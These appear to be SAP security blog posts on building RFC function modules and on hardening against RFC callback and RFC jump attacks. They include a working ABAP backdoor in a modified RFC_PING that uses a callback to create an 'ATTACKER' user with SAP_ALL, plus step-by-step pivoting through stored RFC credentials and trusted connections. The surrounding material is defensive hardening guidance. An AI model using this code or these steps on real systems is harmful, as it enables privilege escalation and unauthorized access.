SAP interfacing: RFC

SAP has many different ways to interface. The RFC (Remote Function Call) protocol is one of the most wide used.

This blog will explain best practices around secure and correct setup of custom built ABAP RFC function modules.

Questions that will be answered are:

  • How to setup RFC enabled function module?
  • How to setup proper RFC error handling?
  • How to setup security in RFC enabled function module?
  • How strict is the S_RFC authorization handling?
  • Why is SAP_ALL not sufficient for RFC handling?

Creation of test RFC enabled function module

In SE37 you can setup an RFC enabled function module just like a normal function module. First create a function group. Activate that function group in SE80. Now you can create the function module. We will call our test module ZBAPIDEMO:

Important here in the first tab is to set the processing type to Remote-Enabled Module.

For testing we setup import and export tabs:

Important here with RFC: set the Pass by value tickbox.

For tables use a suitable table type:

And setup the correct exceptions:

Here you can see 2 very important error messages that should always be implemented:

  1. An extra authorization check
  2. An error message when no data is found

Now we can implement the following simple source code:

   DATA: zls_coms_gen_textline TYPE coms_gen_textline.
 
   AUTHORITY-CHECK OBJECT 'S_CDMC'
   ID 'CDMC_AREA' FIELD 'A'
   ID 'CDMC_ROLE' FIELD 'U'.
   IF sy-subrc EQ 0.
 
     CASE zimport.
       WHEN 1.
         zexport = 'Hello world'.
       WHEN 2.
         zls_coms_gen_textline-entry = 'Hello world table 1'.
         APPEND zls_coms_gen_textline TO ztable.
         zls_coms_gen_textline-entry = 'Hello world table 2'.
         APPEND zls_coms_gen_textline TO ztable.
       WHEN OTHERS.
         RAISE not_found.
     ENDCASE.
 
   ELSE.
     RAISE not_authorized_business.
   ENDIF. 

What is important here in this source code:

  1. The authorization check is implemented and raises an error
  2. If no data is found the NOT_FOUND error is raised

With the SE37 test suite you can test diverse scenario’s now.

Calling RFC function module from another ABAP system

If you call this RFC function module form another ABAP sytem you have to make sure you have set and check the following exceptions:

  exceptions
      not_authorized_business = 1
      not_authorized          = 2
      system_failure          = 3
      communication_failure   = 4
      not_found               = 5
      OTHERS                  = 6.

There are 2 exceptions from the BAPI definition:

  1. NOT_FOUND (nothing found)
  2. NOT_AUTHORIZED_BUSINESS (our own implemented business authorization check)

4 exceptions should be implemented as part of the RFC framework:

  1. NOT_AUTHORIZED: this is the RFC authorization, which will be explained next chapter
  2. SYSTEM_FAILURE: the coding has caused a dump and the system returns and error message (see OSS note 2484377 – Error Message: “RFC Exception SYSTEM_FAILURE Raised; No More Memory Available to Extend an Internal Tab” Upon Executing a Data Extraction Run as an example)
  3. COMMUNICATION_FAILURE: the call to the other system fails. Most likely if you go to SM59 to the RFC destination and perform a connection test you will get a failure.
  4. OTHERS: something else went wrong

The developer should take proper care of these error situations.

Dear ABAP developers: the basis team member are also humans. They will make RFC configuration errors, they rely on the authorization team to assign the correct roles and they rely on infrastructure providers to make sure systems are up and running. Also the basis team will need to perform patching and upgrades to the system, which you as ABAP developer, are calling. So please don't blame the basis team for these exceptions, but please be a good developer and implement proper error handling. If you didn't implement proper error handling, and something went wrong on basis side, that caused your code to go wrong, think twice before putting blame on basis if your code is not handling the situation properly.

For reference: OSS note 1371131 – Correct error handling of RFC calls.

Security of RFC calls

Security of RFC calls is consisting of 2 layers:

  1. The RFC layer
  2. The business application code

You should always implement both layers!

The RFC layer is protected by authorization object S_RFC:

Here you can choose between a function group or even allowing per function module. Personally I would protect by function module. Background: create, change and display BAPI’s will normally be developed inside same function group.

There is a common misunderstanding that if you give SAP_ALL to a (background) user, this would solve the RFC authorization issues. This is not true. SAP_ALL does not contain the S_RFC rights. You have to hand them out separately.

Best practice 1: you might want to start with broad authorizations at the beginning of a development to rule out authorization issues. But you must definitely limit the rights before you make the development go productively live.

Best practice 2: as first statement inside each and every RFC function module, program a relevant business authorization check statement. This is an extra safety measure that is needed to protect important business data from authorization consultants that have handed out * authorizations in object S_RFC (* means all).

Generic S_RFC check handling at basis level

The behavior of the S_RFC check is driven by the settings of RZ11 profile parameter auth/rfc_authorithy_check. Please make sure it has a setting of 6 or higher. Best is 9. A system with 5 or lower can be considered as insecure!

Background OSS note: 2216306 – S_RFC check and profile parameter auth/rfc_authority_check.

RFC callback hacking

This blog explains about RFC callback hacking.

When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.

RFC callback not secure

This blog will explain you following:

  • How can a hacker exploit this RFC callback weakness?
  • How to make the RFC callback secure?
  • What is the difference between RFC callback simulation and intervention?
  • What to do in case of a valid use of RFC callback?

RFC callback hacking in action

What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.

If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.

In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.

RFC callback hack explanation

Code snippet of modified RFC_PING:

  • Call module to create user on destination ‘BACK’ and set the password.
  • Assign the privilege SAP_ALL (highest available privilege)
 DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
 DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
 DATA: ZLV_BAPIPWD TYPE XUNCODE.
 DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
 DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
 DATA: ZLS_BAPIPROF TYPE BAPIPROF.
 DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
 
   ZLV_BAPIBNAME = 'ATTACKER'.
   ZLS_BAPILOGOND-USTYP = 'A'.
   ZLV_BAPIPWD = 'Welcome_in1!'.
   ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
 
   CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
     EXPORTING
       USERNAME                      = ZLV_BAPIBNAME
       LOGONDATA                     = ZLS_BAPILOGOND
       PASSWORD                      = ZLV_BAPIPWD
       ADDRESS                       = ZLS_BAPIADDR3.
 
 ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 
 CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
   EXPORTING
     USERNAME       = ZLV_BAPIBNAME
   TABLES
     PROFILES       = ZLT_BAPIPROF
     RETURN         = ZLT_BAPIRET2.

If the admin executes the ping towards the compromised system he will see this screen:

RFC ping

The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).

End result on target system: ATTACKER user created by ADMIN user.

Attacker user created

With the privileges:

Attacker admin privileges assigned

This is one example. There are many different creative ways in which a callback RFC can be misused.

Detection of the RFC callbacks

RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.

Audit log trace for the above action looks as follows:

Audit log for user ADMIN

How to make the RFC callback secure?

The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behavior.

rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.

rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog).  This setting is still insecure!

It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).

rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:

RFC callback secure

Callback positive lists

In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.

If you have enabled the audit log, you can use it to generate RFC callback positive lists. In SM59 select the option: RFC / Generate RFC Callback Positive List.

Check to apply OSS note 2863851 – RFC Callback Positive Lists not created.

Known positive callback: SAP CUA

SAP CUA (central user administration) uses a callback to fetch profiles. In your CUA system per RFC to remote child CUA system you have to set the following positive callback:

CUA postive callback settings

(SUSR_ZBV_GET_REMOTE_PROFILES and SUSR_ZBV_SEND_PROFILES)

Known positive callback: SAP screen painter RFC EU_SCRP_WN32

In the screen painter RFC EU_SCRP_WN32 add the following list of modules:

RS_SCRP_GF_PROCESS_640         RFC_GET_FUNCTION_INTERFACE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RBUILDINFO

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RELEMTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RICONS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RMESSAGES

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RPROPTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RSTATUS_40

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RDDICFIELDS

The screen painter is hardly used nowadays at all. Normally developer use this tool only on development system.

SAP system hacking using RFC jump

This blog will explain the SAP system hacking using RFC jump method. It will show the simplicity of the hack, and tell you what to do in preventing this method to be used on your SAP system.

Question that will be answered:

  • How does the RFC jump SAP system hack work?
  • How do I check all my RFC’s for this weakness?
  • What can I do to prevent this hack from happening on my system?

RFC jump hack background

SAP uses RFC connections between SAP systems to send and received business data. For example the BI system will pull data from the ECC system via an RFC connection. The SAP solution manager system is fed from the ECC system via an RFC connection. Or a SAP netweaver gateway system serving SAP FIORI tiles.

In the RFC setup the system admin will have to set the connection details and its logon method. The logon methods can be:

  • Current user via logon screen
  • Current user via trust logon screen
  • Fixed user ID: dialog user ID or background user ID

The first method with logon screen will prompt for user ID and password and is not useful for hacking.

The trusted connection will check the rights in the other SAP system using your own user ID and privileges.

The RFC’s with fixed user ID’s will use the user ID and privileges of the user ID in the RFC connection and also using password entered by the admin. So you don’t even need to know the password…..

3 methods of misusing the RCF jump

3 methods of misusing the RFC jump will be explained. All of the scenario’s start from a already compromised system.

RFC jump explained

You have gained access to an SAP system, which in first instance is less important. For example by using standard SAP passwords (see blog on this topic).

1. Using the weakness to jump from one system to another: named dialog users in RFC

Now you start to scan the RFC’s of this server in SM59.

RFC with admin password

You notice that there is an RFC to another system which has the user ID and password of the system admin. You now simply click the remote logon button and you jump to the other system.

Remote logon button

You are logged on now into this system with the user ID and privileges of this other user ID. From this system you can even jump further.

This way you could go from a development to productive server. Or from a BI to an ECC server. Or from Solution manager to ECC productive server.

2. Using the weakness to jump from one system to another: named background users in RFC

The jump will not work if the user ID in the RFC is a background user ID. One example here is the ALEREMOTE user in ECC, which is used by the BI system to extract data from ECC. Since this user has to pull a lot of data and is needing a lot of privileges this user ID is sometimes given SAP_ALL privileges.

If this is the case the hacker can still misuse this RFC. In the hacked system he goes to transaction SE37 and creates a test function module sequence consisting of 2 calls: BAPI_USER_CHANGE and BAPI_TRANSACTION_COMMIT.

function modules

The first call will have the input to change user ID ALEREMOTE user type from B (background) to type A (dialog). The commit is needed to actually confirm and push the change to the database. Once the sequence is setup the hacker will use the test function to fire the sequence. In the testing the hacker will put in the RFC with the ALEREMOTE user. Now this sequence will be fired with the privileges of the ALEREMOTE user (it has SAP_ALL). So it will then itself change its own user type remotely…. After this is done the dialog jump will work from the remote system and the hacker comes into the system with user ALEREMOTE and the attached SAP_ALL rights.

3. Using the weakness to jump from one system to another: trusted RFC’s

If you have taken over one system and you see a trusted RFC towards another system this can be misused for hacking.

Trusted connection

But you need extra information. If you know the user ID of the admin in the system target, set up the user ID in the system already taken over, or if already there reset password. Then logon in the taken over system with the admin user ID. Goto SM59 to the trusted connection. Click remote logon and you jump to the other system without having to logon, but with the user ID and privileges of the admin.

How to detect the jumps which are misused?

The complexity in detection is not to detect the jumps itself, because there is also good use of the jumps (via the trusted RFC’s), but to detect the misused jumps. This is hardly possible.

Detection can be done for the user changes executed by background users. Detection could be done with tracking the terminal ID suddenly switching user ID.

The SAP audit log can help you find traces to what has happened as detective after the fact method. But it will not help you detect or prevent misuse.

How to scan your RFC’s for potential misuse?

SAP provides a program to check RFC’s for weak settings: RSRFCCHK.

If you start the program select all the destinations and optionally the connection test to see if the connections work at all.

RSRFCCHK program

The result will give you a list of potentially dangerous RFC connections and the user ID’s used.

RSRFCCHK program result including connection test

This you can use as a work list for checking.

Protection measures

Protection is possible by a series of actions (a single action will not be sufficient):

  • Access restriction. Restriction of access to SU01 user management and SM59 RFC setup. Not only on main systems, but also on connected trusted systems.
  • Remove SAP_ALL and user rights from background and RFC users.
  • At least yearly scan systems for wrongly setup RFC’s and delete them.
  • Instruct basis team never to put in their own account into an RFC connection.

The most though misunderstanding is with some security and control teams themselves. They heavily underestimate the danger of the trusted connections. They come with statements like “we focus on production only”, or “that system is not part of our compliance XYZ framework check”.

Basic golden principle:
The trusted system must have same protection level and control measures as the system it is connected to.